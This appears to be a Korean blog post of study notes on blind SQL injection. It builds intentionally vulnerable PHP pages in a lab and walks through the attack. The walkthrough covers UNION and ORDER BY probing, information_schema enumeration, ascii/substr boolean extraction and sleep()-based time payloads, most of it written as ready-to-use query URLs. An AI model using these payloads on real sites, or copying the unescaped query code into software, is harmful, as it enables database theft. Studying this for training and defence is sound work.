blind SQL injection
-select 쿼리에 취약점이 있는경우
-화면에 노출되지 않는 테이블의 정보를 노출시키는게 가능
1.예제 작성
1).디비 구성:blind
-news:(int)no,(text)title,(text)news
-fnews: no, title,news,bigo
-anews: no,title
news.php
1.취약점 확인
select * from news where no=1 asdasdasf
왜 에러가 났는지 알아야함
asdasdasf이걸 쿼리로 이해했기 때문에 오류로 인식함
"공백의 차이"
$sql="select * from news where no={$_GET[no]}";
no를 숫자로 입력할 경우
http://192.168.4.33/news.php?no=1 asdasdasf
쿼리 에러가 발생한다
select * from news where no=1 asdasdasf(query error)
$sql="select * from news where no='{$_GET[no]}'";
no를 문자로 입력할 경우
http://192.168.4.33/news.php?no=1 asdasdasf
쿼리 에러를 발생하지 않는다
select * from news where no='1 asdasdasf'(not error)
문자열을 쿼리 에러로 발생하게 하는방법은
('나 "로 막아주면 거기까지 문자열 처리가 되서 그 뒤는 쿼리로 발생하게 된다)
select * from news where no='1' asda'
이렇게 처리하는것도 뒤에 문법상 맞지 않으니까 # 주석을 넣어서 뒤를 처리해준다
select * from news where no='1' asda #'
select * from news where no='1\' asda #'
만약 ' " 값도 쿼리 에러를 주고싶지 않으면 (방어법)
$_GET[no]=addslashs($_GET[no]);
처리를 해버리면 아직까지는 우회할수 있는 방법은 없다
앞에서 확인한것처럼 앞에 \가 다 붙기 때문에 문자열 처리를 벗어날수가 없다.
$sql="select * from news where no='{$_GET[no]}'";
$sql="select * from news where no=\"{$_GET[no]}\"";
'(싱글쿼터)
"(더블쿼터)
둘다 쓸수 있어서 코드를 보지 않고는 어떤 방식으로 사용된것지 모르니까
다 확인해 봐야한다
2.취약점 확인-참 또는 거짓
$sql="select * from news where no={$_GET[no]}";
no를 숫자로 입력할 경우
select * from news where no=1 and 1=1 실행
select * from news where no=1 and 1=2 오류
select * from news where no=1 and true 실행
select * from news where no=1 and false 오류
select * from news where no=1 and 1 실행
select * from news where no=1 and 0 오류
select * from news where no=1; select * from fnews;
mysql 에서는 사용이 가능하지만 웹상에서는 사용이 불가능하다
;으로 가능하다
그래서 웹상에서는 union 을 사용해서 첫번째 쿼리와 두번째 쿼리를 합쳐준다
SELECT union SELECT 만 사용이 가능하고
select * from news where no=1 union select * from news where no=1;
select * from news where no=1 union all select * from news where no=1;
모든 내용을 확인할수 있다
3.컬럼의 갯수
-컬럼의 갯수를 알지 못하면 union은 사용할 수 없다.
select * from news where no=1 union all select * from fnews
news의 컬럼의 숫자는 3개이고 fnews는 컬럼의 숫자가 4개라 문법 오류가 난다
union을 사용할때는 컬럼의 숫자를 맞춰줘야한다
select * from news where no=1 union all select concat(no,title),news,bigo from fnews
이렇게 맞추면 되고 근데 이렇게되면 no 변수를 확인하지 못하니까 concat 함수를 써서 묶어주거나
select * from news where no=1 union all select title,news,null from fnews
의미없는 값을 써줘서 숫자를 맞춰도 상관이 없다
"개수를 찾는 법"
1. select * from news where no=1 union select 1,
select * from news where no=1 union select 1,2
select * from news where no=1 union select 1,2,3
노가다한다
2. select * from news where no=1 order by 100;
select * from news where no=1 order by 50;
select * from news where no=1 order by 10;
select * from news where no=1 order by 3;
숫자 만큼 칼럼을 정렬하라는 sql 쿼리인데 만약 숫자만큼 칼럼의 숫자가 없으면 오류가 난다
이런 식으로 검색을 하면서 오류가 나는지 안나는지 확인한다
4.컬럼과 테이블의 이름
1).Guessing...(추측)
예).사용자 정보
-user,member,
2).information_schema(mysql 에서만 사용이 가능하다 )
-select table_schema,table_name,table_type from information_schema.tables
-select table_schema,table_name,column_name from information_schema.columns이렇게 information_schema 를 통해 모든 테이블,칼럼,등등 의 정보를 출력 할 수 있다.
5.확인하고자 하는 테이블과 비교한다
---------더 어렵게
<?php
mysql_connect('localhost','root','1234');
mysql_select_db('blind');
#$_GET[no]=addslashes($_GET[no]);
$sql="select * from news where no={$_GET[no]}";
$resource=mysql_query($sql);
if($resource){
echo "<h1>welcome News Site!!</h1>";
$row=mysql_fetch_array($resource);
echo "<h3>{$row[1]}</h3><br>";
echo "<p>{$row[2]}</p>";
}
?>
while()문을 사용하지 않고 mysql_fetch_row()함수를 한번만 사용했기 때문에
union을 이용하여 뒤에 select 1,2,3을 입력해도 첫번째 행만 출력하는 상황이다
ex) 600번째 칼럼을 가지고오고 싶으면
-select table_schema,table_name,table_type from information_schema.columns limit 599,1
가져올 라인수를 하나로 줄여주면서 사용이가능
--------------------더어렵게
<?php
mysql_connect('localhost','root','1234');
mysql_select_db('blind');
#$_GET[no]=addslashes($_GET[no]);
$sql="select * from news where no={$_GET[no]}";
$resource=mysql_query($sql);
$row=mysql_fetch_array($resource,MYSQL_BOTH));
if($row){
echo "<h1>Welcome News Site!!!</h1>";
}
?>
아예 출력자체가 안되면 union을 쓸수없다
*limit 함수
mysql> SELECT column_name FROM columns limit 0,10 ;
=> SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )
mysql> SELECT column_name FROM columns limit 0,5 ;
=> SELECT의 결과에서 0번째 데이터부터 5개의 데이터를 출력 ( 0번째 줄 ~ 4번째 줄 )
mysql> SELECT column_name FROM columns limit 6,5 ;
=> SELECT의 결과에서 6번째 데이터부터 5개의 데이터를 출력 ( 6번째 줄 ~ 10번째 줄)
*substr( 문자열, 시작위치, 개수 ): 문자열의 시작위치( 1부터시작 ) 에서부터 개수만큼의 글자를 가져온다
mysql> SELECT substr( 'Hello, injection' , 1, 5 );
1번째 글자부터 5개 출력 => Hello
mysql> SELECT substr( 'Hello, injection' , 1, 1 );
1번째 글자부터 1개 출력 => H
mysql> SELECT substr( 'Hello, injection' , 2, 1 );
2번째 글자부터 1개 출력 => e
mysql> SELECT substr( 'Hello, injection' , 3, 1 );
3번째 글자부터 1개 출력 => l
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,1, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 1번째 글자부터 1개의 글자를 아스키코드로 변환
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,2, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 2번째 글자부터 1개의 글자를 아스키코드로 변환
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,3, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 3번째 글자부터 1개의 글자를 아스키코드로 변환
http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<100 참
http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<50 거짓
....
http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))=72
이런식으로 모든 값을 확인할수 있다
그리고 char() 내장 함수를 사용하여 내가 원하는 값으로 다시 변경 가능하다
한가지 팁이면 먼저 길이를 구하고 값을 획득해도 상관없다
select * from news where no=1 and length((select table_name from information_schema.columns limit 20,1)) = 10
---------------더 어렵게 (출력문이 없어 참 거짓도 확인하지 못하게)
<?php
mysql_connect('localhost','root','1234');
mysql_select_db('blind');
#$_GET[no]=addslashes($_GET[no]);
$sql="select * from news where no={$_GET[no]}";
$resource=mysql_query($sql);
$row=mysql_fetch_array($resource,MYSQL_BOTH));
?>
이런식으로 확인한다
http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100)
[실습]
40번째 테이블의 이름을 확인(tables,limit 40)
http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100)
or select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)
select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)
select * from news where no=1 or
select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1 and sleep(10)
select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1
select * from news where no=1 and ascii(substring((select table_name from information_schema.table limit 20,1),3,1) = 10
'웹 해킹' 카테고리의 다른 글
[Web해킹] SQL 인젝션 (0) | 2017.12.07 |
---|---|
[Web해킹] 서버 측 언어를 이용한 취약점+웹쉘/바인드쉘/리버스 쉘 (0) | 2017.12.05 |
[Web해킹] CSRF(Cross Site Request Forgery)) (0) | 2017.12.01 |
[Web해킹] XSS (Cross site Scripting) (0) | 2017.12.01 |
[Web해킹] 제로보드 설치하기 (0) | 2017.11.30 |